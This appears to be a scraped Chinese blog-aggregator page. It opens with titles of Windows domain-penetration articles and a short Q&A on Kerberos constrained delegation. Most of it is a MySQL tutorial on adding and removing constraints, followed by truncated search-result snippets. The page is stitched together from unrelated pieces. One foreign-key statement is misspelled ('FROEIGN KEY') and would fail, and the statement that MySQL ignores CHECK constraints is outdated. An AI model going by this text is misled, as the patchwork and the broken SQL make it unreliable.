    Windows内网协议学习Kerberos篇之TGSREQ& TGSREP
    域渗透——Kerberos委派攻击
    域渗透——基于资源的约束委派利用
    CVE-2019-1040利用 - 结合RCE和Domain Admin的重放漏洞
    微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)


    补充的一些问题:

    1. 约束性委派中最终其作用的是那张可转发的TICKET,这张ticket与kerberos认证中的ticket除了可转发性其余一样吗?

      一样的,本质走的都是kerberos协议。

    2. 约束性委派s4u2proxy中除了需要导入s4u2self得到的可转发的ticket外还需不需要导入被委派主机的tgt?

      不需要。

    展开全文
  • MySQL中的约束,添加约束,删除约束,以及其他的一些修饰:一.NOT NULL(非空约束) 添加非空约束 1)建表时直接添加 CREATE TABLE t_user(user_id INT(10) NOT NULL); 2)通过ALTER 语句 ALTER TABLE t_user ...

     

    MySQL中的约束,添加约束,删除约束,以及其他的一些修饰:一.NOT NULL(非空约束)

     

     

    添加非空约束

     

    1)建表时直接添加

    CREATE TABLE t_user(user_id INT(10) NOT NULL);

    2)通过ALTER 语句

    ALTER TABLE t_user MODIFY user_id INT(10) NOT NULL;

    ALTER TABLE t_user CHANGE user_id user_id INT(10) NOT NULL;

    删除非空约束

    1)ALTER TABLE t_user MODIFY user_id INT(10);

    2)ALTER TABLE t_user CHANGE user_id user_id INT(10);


    二.UNIQUE(唯一约束)

     

    添加唯一约束

     

    1)建表时直接添加

    CREATE TABLE t_user(user_id INT(10) UNIQUE);

    CREATE TABLE t_user(

    user_id INT(10),

    user_name VARCHAR(30),

    CONSTRAINT UN_PHONE_EMAIL UNIQUE(user_id,user_name)#复合约束

    );

    CREATE TABLE t_user(

    user_id INT(10),

    UNIQUE KEY(user_id)

    );

    2)通过ALTER语句

    ALTER TABLE t_user MODIFY user_id INT(10) UNIQUE;

    ALTER TABLE t_user CHANGE user_id user_id INT(10) UNIQUE;

    ALTER TABLE t_user ADD UNIQUE(user_id);

    ALTER TABLE t_user ADD UNIQUE KEY(user_id);

    ALTER TABLE t_user ADD CONSTRAINT UN_ID UNIQUE(user_id);

    ALTER TABLE t_user ADD CONSTRAINT UN_ID UNIQUE KEY(user_id);

     

    删除唯一性约束

              ALTER TABLE t_user DROP INDEX user_id;

    注:唯一但是可以为空(空和空不相等)

     

    三.PRIMARY KEY(主键约束)

    添加主键约束

    1)建表时直接添加

    CREATE TABLE t_user(user_id INT(10) PRIMARY KEY);

    CREATE TABLE t_user(

    user_id INT(10),

    user_name VARCHAR(30),

    CONSTRAINT PK_ID_NAME PRIMARY KEY(user_id,user_name)#复合约束

    );

    CREATE TABLE t_user(

    user_id INT(10),

    PRIMARY KEY(user_id)

    );

    2)通过ALTER语句

    ALTER TABLE t_user MODIFY user_id INT(10) PRIMARY KEY;

    ALTER TABLE t_user CHANGE user_id user_id INT(10) PRIMARY KEY;

    ALTER TABLE t_user ADD PRIMARY KEY(user_id);

    ALTER TABLE t_user ADD CONSTRAINT PK_ID PRIMARY KEY(user_id);

    删除主键约束

    1)ALTER TABLE t_user DROP PRIMARY KEY;

    注:主键约束相当于(唯一约束+非空约束)

    一张表中最多有一个主键约束,如果设置多个主键,就会出现如下提示:

    Multiple primary key defined!!!

    删除主键约束前,如果有自增长需要先删除自增长,如果不删除自增长就无法删除主键约束

     

    四.FOREIGN KEY(外键约束,对应的字段只能是主键或者唯一约束修饰的字段)

     

    首先创建两张表:class,students

    主表:

    CREATE TABLE class(

    cla_id INT(6) AUTO_INCREMENT PRIMARY KEY,

    cla_name VARCHAR(30) NOT NULL UNIQUE

    );

    从表:

    CREATE TABLE students(

    stu_id INT(10) AUTO_INCREMENT PRIMARY KEY,

    stu_name VARCHAR(30) NOT NULL,

    stu_score FLOAT(5,2) DEFAULT 0.0,

    cla_id INT(10),

    CONSTRAINT FK_CLA_ID FOREIGN KEY(cla_id) REFERENCES class(cla_id)#添加外键约束

    );

    也可以这样添加:

    ALTER TABLE students ADD CONSTRAINT FK_CLA_ID FROEIGN KEY(cla_id) REFERENCES class(cla_id);

    删除外键约束

    ALTER TABLE students DROP FOREIGN KEY FK_CLA_ID;

    #外键中的级联关系有以下几种情况:

    #ON DELETE CASCADE 删除主表中的数据时,从表中的数据随之删除

    #ON UPDATE CASCADE 更新主表中的数据时,从表中的数据随之更新

    #ON DELETE SET NULL 删除主表中的数据时,从表中的数据置为空

    #默认 删除主表中的数据前需先删除从表中的数据,否则主表数据不会被删除

    CREATE TABLE students(

    stu_id INT(10) AUTO_INCREMENT PRIMARY KEY,

    stu_name VARCHAR(30) NOT NULL,

    stu_score FLOAT(5,2) DEFAULT 0.0,

    cla_id INT(10),

    CONSTRAINT FK_CLA_ID FOREIGN KEY(cla_id) REFERENCES class(cla_id) ON DELETE CASCADE

    );

    CREATE TABLE students(

    stu_id INT(10) AUTO_INCREMENT PRIMARY KEY,

    stu_name VARCHAR(30) NOT NULL,

    stu_score FLOAT(5,2) DEFAULT 0.0,

    cla_id INT(10),

    CONSTRAINT FK_CLA_ID FOREIGN KEY(cla_id) REFERENCES class(cla_id) ON UPDATE CASCADE

    );

    CREATE TABLE students(

    stu_id INT(10) AUTO_INCREMENT PRIMARY KEY,

    stu_name VARCHAR(30) NOT NULL,

    stu_score FLOAT(5,2) DEFAULT 0.0,

    cla_id INT(10),

    CONSTRAINT FK_CLA_ID FOREIGN KEY(cla_id) REFERENCES class(cla_id) ON DELETE SET NULL

    );

    注:插入数据时,先插入主表中的数据,再插入从表中的数据。

        删除数据时,先删除从表中的数据,再删除主表中的数据。

     

    五.CHECK(检查约束)

     

    CREATE TABLE class(

    cla_id INT(6) AUTO_INCREMENT PRIMARY KEY,

    cla_name VARCHAR(30) NOT NULL UNIQUE,

    CHECK(cla_id>0)

    );

    注:mysql不支持检查约束,但是写上检查约束不会报错

     

    其他:

     

    一.AUTO_INCREMENT(自增长)

    添加自增长

    1)在创建表的时候添加

    CREATE TABLE t_user(user_id INT(10) AUTO_INCREMENT PRIMARY KEY);

    2)通过ALTER语句

    ALTER TABLE t_user MODIFY user_id INT(10) AUTO_INCREMENT;

    ALTER TABLE t_user CHANGE user_id user_id INT(10) AUTO_INCREMENT;

    删除自增长

    ALTER TABLE t_user MODIFY user_id INT(10);

    ALTER TABLE t_user CHANGE user_id user_id INT(10);

    注:There can be only one auto column and it must be defined as a key.

    一张表只能有一个自增长列,并且该列必须定义了约束(可以是主键约束,也可以是唯一约束,也可以是外键约束,但是不可以是非空和检查约束)

    不过自增长一般配合主键使用,并且只能在数字类型中使用

     

    二.ZEROFILL(零填充)

     

    添加零填充

    1)在创建表的时候添加

    CREATE TABLE t_user(user_id INT(10) ZEROFILL);

    2)通过ALTER语句

    ALTER TABLE t_user MODIFY user_id INT(10) ZEROFILL;

    ALTER TABLE t_user CHANGE user_id user_id INT(10) ZEROFILL;

    删除零填充

    ALTER TABLE t_user MODIFY user_id INT(10);

    ALTER TABLE t_user CHANGE user_id user_id INT(10);

    注:零填充会将未将有效位以外的位用零来显示,比如某字段数据类型为INT(5),而插入的值为2,那么零填充会显示00002

    但是,这个效果在Navicat for MySQL中显示不出来,只有在DOS窗口下才能显示

     

    三.DEFAULT(默认)

    添加默认约束

    1)在创建表的时候添加

    CREATE TABLE t_user(user_id INT(10) DEFAULT  3);

    2)通过ALTER语句

    ALTER TABLE t_user MODIFY user_id INT(10) DEFAULT  2;

    ALTER TABLE t_user CHANGE user_id user_id INT(10) DEFAULT  2;

    删除默认约束

    ALTER TABLE t_user MODIFY user_id INT(10);

    ALTER TABLE t_user CHANGE user_id user_id INT(10);

     

    四.UNSIGNED(无符号位)

     

    添加无符号

    1)在创建表的时候添加

    CREATE TABLE t_user(user_id INT(10) UNSIGNED);

    2)通过ALTER语句

    ALTER TABLE t_user MODIFY user_id INT(10) UNSIGNED;

    ALTER TABLE t_user CHANGE user_id user_id INT(10) UNSIGNED;

    删除无符号

    ALTER TABLE t_user MODIFY user_id INT(10);

    ALTER TABLE t_user CHANGE user_id user_id INT(10);

    注:无符号作用于数值类型

     

    #从查询information_schema中查询指定表中的约束

     

    USE INFORMATION_SCHEMA;

    SELECT CONSTRAINT_NAME FROM TABLE_CONSTRAINTS WHERE TABLE_NAME='student';

    关注我的微信公众号(曲健磊的个人随笔),观看更多精彩内容:

    展开全文
  • 约束  * 概念: 对表中的数据进行限定,保证数据的正确性、有效性和完整性。   * 分类:  1. 主键约束:primary key  2. 非空约束:not null  3. 唯一约束:unique  4. 外键约束:foreign key  * 非空约束...
  • 约束类型按功能包括有:非空约束、主键约束、唯一约束、默认约束、外键约束、 【自动编号】AUTO_INCREMENT 起始值为1,增量为1。 自动编号的字段必须为数值型,若为浮点数小数位数必须为0。 自动编号必须和主键组合...
  • 主键约束和唯一约束

    千次阅读 2019-03-07 21:30:59
    主键约束和唯一约束主键约束和唯一约束的区别普通索引和唯一索引Mysql中的索引普通索引(非唯一索引)唯一索引唯一索引主键约束的唯一索引唯一约束的唯一索引创建唯一索引删除主键约束和唯一约束自动创建的唯一索引 ...
  • 一、非空约束(只能在列级设置,不能在表级设置) 1、在创建表时设置非空约束 CREATE TABLE table_name( column_name datatype NOT NULL,…… );     2、在修改表时添加非空约束 ALTER TABLE table_name ...
  • Mysql约束

    2021-02-05 10:12:21
    约束基本概念非空约束 not null唯一性约束列级唯一性约束表级唯一性约束主键约束单一主键复合主键使用表级约束方式定义主键主键值自增外键约束基本语法:关于外键约束的相关术语案例引入顺序要求:注意点 ...
  • 什么是约束? 数据库—由若干张数据表组成(理解为一个类库) 数据表—由行和列组成的一个二维数组(理解为一个类) 列—字段(理解为表中对象的一个属性) 行—理解为表中的一个对象 约束是数据库中保证数据完整性...
  • 时序约束之周期约束

    千次阅读 2018-08-14 12:06:02
    周期约束 周期概念是FPGA/ASIC时序定义的基础,周期(PERIOD)约束附加在时钟网线上,时序分析工具根据PERIOD约束检查时钟域内所有同步元件(包括寄存器、锁存器、同步RAM/ROM等)的时序是否满足要求。 PERIOD约束...
  • 文章目录准备知识定义唯一约束使用SSMS工具定义唯一约束使用SQL方式定义唯一约束方式一:在创建数据表的时候定义唯一约束方式二:修改数据表定义唯一约束删除唯一约束使用SSMS工具删除唯一约束方式一:在对象资源...
  • 文章目录1、约束简介2、非空约束(not null、nk)2.1 范例1:使用非空约束2.2 范例2:正确地增加语句2.3 范例3:错误地增加语句3、唯一约束(unique、uk)3.1 范例1:使用唯一约束3.2 范例2:正确地增加语句3.3 范例3:...
  • 数据库约束六大约束语句

    千次阅读 2020-03-21 20:03:15
    数据库约束六大约束语句 1、非空约束 ① 就是给列赋值的时候值不允许为空 name VARCHAR(20) NOT NULL,--创建name列为非空-- 2、主键约束 2.primary key约束 : ①约束唯一标识数据库表中的每条记录 ②主键必须...
  • mysql删除外键约束

    万次阅读 多人点赞 2018-01-20 08:11:10
    1.查看数据库表创建的sql语句 ...2.查看外键的约束名 CREATE TABLE `vip` ( `id` int(11) NOT NULL AUTO_INCREMENT, `address` varchar(255) DEFAULT NULL, `code` varchar(255) DEFAULT NULL,
  • 非空约束:是指 某些列不能设置为NULL值,所以要对列添加非空约束 非空约束的特点:不可以为空,但可以是重复值 NOT NULL 是非空约束的关键字 CREATE TABLE student ( sid INT PRIMARY KEY AUTO_INCRAMENT, ...
  • 数据库的检查约束check约束

    万次阅读 2015-10-26 13:50:29
    数据中的约束,主要有主键约束,外键约束,非空约束等。主键约束其实就是非空唯一约束,非空唯一约束也可以通过建立唯一索引来实现,外键约束需要通过其他的表来帮助实现,非空约束在定义是数据库字段时就定义了。...
  • 文章目录准备知识定义检查约束使用SSMS工具定义检查约束使用SQL方式定义检查约束方式一:在创建数据表的时候定义检查约束方式二:修改数据表定义检查约束删除检查约束使用SSMS工具删除检查约束方式一:在对象资源...
  • 时序约束之偏移约束

    千次阅读 2018-08-15 11:02:34
    FPGA的学习,最难的那块,应该就是时序约束了吧。所以,这玩意需要耐心且循序渐进,共勉! 本博文内容参考自:《Xilinx FPGA/CPLD设计手册》 偏移约束包括 OFFSET_IN_BEFORE、OFFSET_IN_AFTER、OFFSET_OUT_BEFORE...
  • 列级约束与表级约束

    千次阅读 2019-04-08 11:25:23
    主键约束(primary key )、唯一性约束(unique)、检查约束(check)、缺省约束(default)、外部键约束(foreign) 约束又分为列级约束与表级约束,它们的区别: (1)列级约束:只能应用于一列上。 表级...
  • MySQL 约束

    千次阅读 2020-07-03 18:11:38
    花了半天时间整理的 MySQL 约束笔记,建议收藏
  • MYSQL - 约束

    万次阅读 2020-07-01 00:55:49
    约束 对表的数据进行限定,保证数据的正确性,有效性,完整性。 类别:添加在数据名的后面 主键约束 primary key,非空且唯一,数据的唯一标识 删除:ALTER table t_name DROP PRIMARY KEY; 注意,主键删除与非空...
  • MySQL约束之创建约束

    2017-07-16 15:06:44
    约束,顾名思义是对表的一种限制,其作用为保证表的完整性,唯一性。mysql表约束和列约束包括以下5种(NOT NULL和DEFAULT只有列约束
  • 文章目录准备知识定义默认约束使用SSMS工具定义默认约束使用SQL方式定义m默认约束方式一:在创建数据表的时候定义默认约束方式二:修改数据表定义默认约束删除默认约束使用SSMS工具删除默认约束方式一:在对象资源...
  • SQLServer中有五种约束,Primary Key约束、Foreign Key约束、Unique约束、Default约束和Check约束,今天使用SQL Server2008来演示下这几种约束的创建和使用的方法。1、Primary Key约束 在表中常有一列或多列的组合...
  • 文章目录1、检查约束(check、ck)1.1 范例1:设置检查约束1.2 范例2:保存正确的数据1.3 范例3:保存错误的数据2、外键约束(foreign key、fk)2.1 范例1:初期设计 --不使用外键2.2 范例2:增加正确数据2.3 范例3:...
  • 注意:表中有数据不能创建约束 1、主键约束 primary key 主键是每行的唯一标识符,仅仅通过它就能准确定位到一行,其中主键列在整个表中不能有重复,必须包含唯一的值(不能为NULL)。 2、外键约束 foreign key...
  • DC综合约束:时钟约束

    千次阅读 2018-07-29 11:38:09
    dc综合约束:时钟约束 1、时钟如何约束 sdc约束采用的tcl脚本语言编写,时钟产生的sdc命令是create_clock. 指令格式为 create_clock -period period_value # 时钟周期  -[source_objects] # 时钟源  -[name ...
  • PostgreSQL 约束

    千次阅读 2018-05-29 14:25:46
    PostgreSQL 约束 一、约束的含义  数据类型是一种限制能够储存在表中数据类别的方法。但是产品的价格的列只能接受正值,但是没有任何一种标准的数据类型只接受正值。或是我们可能需要根据其他列或行来约束一个列...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 139,163
精华内容 55,665
关键字:

约束